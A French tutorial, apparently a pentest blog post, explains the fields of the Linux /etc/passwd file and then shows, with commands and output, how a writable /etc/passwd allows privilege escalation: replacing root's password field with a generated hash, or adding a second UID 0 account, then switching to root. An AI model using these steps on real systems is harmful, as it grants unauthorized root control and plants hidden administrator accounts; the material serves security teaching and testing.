Elevation de pivilège via le fichier /etc/passwd

Par défaut tout le monde peut voir le fichier /etc/passwd mais seul root peut le modifier. Si un utilisateur arrive à modifier ce fichier il peut prendre le contrôle de n'importe quel compte. Le but de cet article est de vous expliquer le fonctionnement du fichier /etc/passwd afin que vous puissiez l'exploiter si vous avez les droits en écriture.

Présention du fichier /etc/passwd

Le fichier /etc/passwd est une base de données sous forme de texte qui sauvegarde tous les comptes locaux des utilisateurs ansi que différentes informations associées a ces utilisateurs. Dans ce fichier /etc/passwd chaque ligne correspond a un utilisateur:

Dans ce fichier on retrouve les utilisateurs qui servent a s'identifier au système mais également des comptes de service qui servent a faire fonctionner des processus. Par exemple le user www-data sert a faire fonctionner un serveur apache, le user sshd sert a faire fonctionner un serveur ssh ect... On peut également trouver le compte super utilisateur: root

Chaque ligne correspond a un user unique. Voici par exemple la ligne qui définit mon utilisateur:

Nom d'utilisateur: Le premier champ est le nom d'utilisateur, il doit être unique.

Mot de passe: Le hash du mot peut être inscrit dans ce champ. Quand la lettre x est présente cela signifie que le mot de passe hashé est stocker dans le fichier/etc/shadow (fichier accessible uniquement avec root)

Id de l'utilisateur (autrement appelé UID): Cet ID doit être unique si ne voulez pas de problème (on verra dans la suite de cet article ce qui peut se passer avec deux UID identique) UID 0 est réservé pour root. Les UID entre 1 et 999 sont réservés à des comptes de services prédéfinit. Par exemple un serveur apache est exécuté avec l'UID 33. Les UID au-dessus de 999 sont réservés aux comptes utilisateurs classique.

ID groupe (autrement appelé GID): C'est une valeur numérique que varie entre 0 et 32767 afin de définir les groupes de l'utilisateur. Cette valeur est mise en relation avec le fichier /etc/group qui répertorie tous les groupes.

informations diverses: On peut retrouver le nom complet de l'utilisateur, son numéro de salle, son numéro de téléphone professionnel et personnel et d'autres informations. Chaque information est séparée par une virgule. Ce champ est optionnel.

Chemin du répertoire personnel: Les répertoires personnels se trouvent par défaut dans /home sauf pour root où il se trouve dans /root.

Shell par défaut: Pour un utilisateur standard le shell par défaut est /bin/bash. Les comptes de services n'ont pas vocation à être utilisé pour s'identifier sur le système. C'est pour cela que leurs shell est souvent /bin/false ou /sbin/nologin.

Elevation de privilège via le fichier /etc/passwd

Élévation de privilege via la modification du mot de passe root:

Comme indiqué précédemment, par défaut tout le monde peut voir ce fichier mais seul root peut le modifier. Si un user peux le modifier il est alors possible de prendre le contrôle de n'importe quel compte.

Pour accéder au compte root il est possible de remplacer le "x" du champ password de l'utilisateur root par un de mot de passe hashé. Pour générer le mot de passe hashé il est possible d'utiliser les commandes mkpasswd ou openssl.

florian@kali-floflo:~$ mkpasswd -m SHA-512 rootpassword
$6$4LFf7TinmVh/wfwI$oRbZ4n17FF4kVwYz5nLbP1ePquO2Y/Z1Egvf1HELLPk3bNccKkI/k7mZmvD9CBsJnFQX2ENkCw4.QmZlY67CR0


Ou alors:

florian@kali-floflo:~$ openssl passwd -1 -salt saltpass rootpassword
$1$saltpass$1wICzw8EaJSTIjX04WBae0

Ici j'ai choisi le mot de passe rootpassword. Une fois le hash généré il faut le placer à la place du caratere "x" dans le ficher /etc/passwd. Voici ce qui peut se trouver sur la première ligne:

root:$1$saltpass$1wICzw8EaJSTIjX04WBae0:0:0:root:/root:/bin/bash

Vous pouvez par la suite vous connecter à l'utiliseur root avec le mot de passe que vous avez choisi.

florian@kali-floflo:~$ su root
Mot de passe : rootpassword
root@kali-floflo:/home/florian#

Création d'un nouvel utilisateur avec un UID 0:
Il est possible de créer un autre utilisateur avec un uid a 0. Vu que cet utilisateur aura l'uid 0 il aura les droits root.
La création du mot de passe haché peut également etre généré via openssl ou mkpasswd :

florian@kali-floflo:~$ openssl passwd -1 -salt saltpass rootpassword
$1$saltpass$1wICzw8EaJSTIjX04WBae0

Il faut ensuite ajouter un nouvel utilisateur en écrivant une autre ligne:

useruid0:$1$saltpass$1wICzw8EaJSTIjX04WBae0:0:0:root:/root:/bin/bash

florian@kali-floflo:~$ su useruid0
Mot de passe : rootpassword
root@kali-floflo:/home/florian#

Le root est à nous 🙂